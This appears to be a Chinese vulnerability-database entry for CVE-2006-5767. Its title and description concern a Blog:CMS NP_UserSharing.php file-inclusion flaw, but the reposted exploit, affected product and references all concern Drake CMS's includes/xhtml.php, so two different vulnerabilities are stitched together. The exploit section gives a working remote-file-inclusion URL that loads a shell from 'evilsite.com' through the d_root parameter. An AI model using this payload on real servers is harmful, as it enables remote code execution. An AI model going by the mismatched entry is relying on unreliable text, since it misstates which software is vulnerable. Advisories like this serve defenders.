Blog:CMS NP_UserSharing.php远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111460 漏洞类型 代码注入
发布时间 2006-11-04 更新时间 2007-01-02
CVE编号 CVE-2006-5767 CNNVD-ID CNNVD-200611-097
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/2713
https://www.securityfocus.com/bid/20914
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-097
|漏洞详情
Blog:CMS是一款基于Web的内容管理系统。Blog:CMS在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。Blog:CMS的NP_UserSharing.php脚本没有正确验证DIR_ADMIN参数的输入,攻击者通过包含本地或外部资源文件执行任意PHP代码。
|漏洞EXP
**********************************************************************************************************
                                                              
			                Coding 4 Fun (c4f.pl) 
			                                      
**********************************************************************************************************

* Drake CMS v0.2.2 ALPHA rev.846 (http://drakecms.org) ; 

* Class = Remote File Inclusion ;
 
* Download = https://sourceforge.net/project/showfiles.php?group_id=166901&package_id=192077&release_id=420102 ;

* Found by = GregStar (gregstar[at]c4f[dot]pl) ;

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code in "includes/xhtml.php" :

 	include $d_root.'classes/kses.php';

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:

	http://[target]/[path]/includes/xhtml.php?d_root=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------

Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,RFL,d3m0n,java,reyw,kw@ch and for all friends.

**************************************************************************************************************

# milw0rm.com [2006-11-04]
|受影响的产品
Drake CMS Drake CMS 0.2.2 alpha rev.846
|参考资料

来源:XF
名称:drake-xhtml-file-include(30021)
链接:http://xforce.iss.net/xforce/xfdb/30021
来源:BID
名称:20914
链接:http://www.securityfocus.com/bid/20914
来源:MILW0RM
名称:2713
链接:http://www.milw0rm.com/exploits/2713
来源:VUPEN
名称:ADV-2006-4345
链接:http://www.frsirt.com/english/advisories/2006/4345
来源:VIM
名称:20061226VendorACK(basically)forDrakeCMSRFI(CVE-2006-5767)
链接:http://www.attrition.org/pipermail/vim/2006-December/001202.html
来源:sourceforge.net
链接:http://sourceforge.net/forum/forum.php?forum_id=636860
来源:MILW0RM
名称:2713
链接:http://milw0rm.com/exploits/2713